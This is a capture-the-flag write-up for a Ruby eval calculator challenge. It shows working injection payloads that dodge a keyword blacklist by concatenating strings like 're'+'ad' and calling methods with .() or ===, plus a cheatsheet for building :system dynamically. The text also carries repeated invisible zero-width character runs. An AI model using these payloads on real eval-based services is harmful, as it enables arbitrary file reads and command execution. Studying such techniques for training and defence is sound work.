← Back to Writeups
CUSTOMMediumMisc

Неуязвимый калькулятор (Invulnerable Calculator)

XESXOR9/2/20263 min read
#misc#custom#medium#alternative-method-call-syntax#blacklist-bypass-via-string-co#method-object-manipulation#ruby-eval-injection

Неуязвимый калькулятор (Invulnerable Calculator)

Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-26 | Status: Solved Techniques: Alternative method call syntax (.() instead of .call), Blacklist bypass via string concatenation, Method object manipulation, Ruby eval injection

Summary

Task: Ruby eval-based calculator with blacklist filtering. Solution: Bypass filters using string concatenation to build method names and alternative .() syntax instead of .call().

Неуязвимый калькулятор — hackerlab

Description

Прошлый калькулятор оказался не таким уж и безопасным. В этот раз, ворваться в систему смогут только настоящие black hat хакеры.

(Previous calculator wasn't secure enough. This time, only real black hat hackers can break in)

Target: 192.169.2.100:10003

Analysis

Reconnaissance

When connecting to the service, we get an interactive calculator:

$ nc 192.169.2.100 10003
Enter expression:

Language Identification

Initially assumed Python, but errors revealed Ruby: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Enter expression: __import__
Error: /root/eval.rb:...

The path /root/eval.rb clearly indicates Ruby.

Filter Investigation

The service uses blacklist filtering. Blocked keywords:

  • read, open, call
  • flag, system, exec
  • send, eval
  • and other dangerous methods
Enter expression: File.read("flag.txt")
Error: Forbidden keyword detected!

Enter expression: system("ls")
Error: Forbidden keyword detected!

Key Discovery

Filters check exact string matches, not the result of computations: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ruby
# Blocked:
"read"           # contains "read"
File.read(...)   # contains "read"

# NOT blocked:
"re" + "ad"      # result is "read", but source code doesn't contain the word "read"

Solution

Bypass Technique

  1. Building method name via concatenation:

    ruby
    ("re" + "ad").to_sym  # => :read
  2. Getting the method object:

    ruby
    File.method(("re" + "ad").to_sym)  # => #<Method: File(IO).read(*)>
  3. Building the filename:

    ruby
    "fla" + "g.txt"  # => "flag.txt"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Calling the method via alternative syntax:
    ruby
    method_object.(argument)  # equivalent to method_object.call(argument)

Final Payload

ruby
File.method(("re" + "ad").to_sym).("fla" + "g.txt")

Execution

$ nc 192.169.2.100 10003
Enter expression: File.method(("re" + "ad").to_sym).("fla" + "g.txt")
CODEBY{REDACTED}

Alternative Payloads

Via === Operator

In Ruby, === for a Method object calls the method:

ruby
File.method(("re" + "ad").to_sym) === ("fla" + "g.txt")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Via yield_self / then

ruby
("fla" + "g.txt").yield_self { |f| File.method(("re" + "ad").to_sym).(f) }
ruby
("fla" + "g.txt").then { |f| File.method(("re" + "ad").to_sym).(f) }

Via instance_eval

ruby
File.instance_eval { method(("re" + "ad").to_sym).("fla" + "g.txt") }

Ruby Method Object Cheatsheet

ruby
# Getting method object
obj.method(:method_name)        # => Method object
obj.public_method(:method_name) # => public methods only

# Calling Method object
method_obj.call(args)           # standard call
method_obj.(args)               # shorthand syntax
method_obj === arg              # for single argument
method_obj[args]                # another variant
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Dynamic symbol construction
"string".to_sym                 # => :string
:"string"                       # => :string (literal)

# Concatenation for filter bypass
("sys" + "tem").to_sym          # => :system
["fl","ag"].join                # => "flag"
"flag".chars.join               # => "flag" (useless)

Defense

To protect against such attacks:

  1. Whitelist instead of blacklist — allow only safe operations
  2. Sandbox — use isolated environment (e.g., $SAFE in older Ruby)
  3. AST analysis — check abstract syntax tree, not text
  4. Avoid eval — use a mathematical expression parser ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍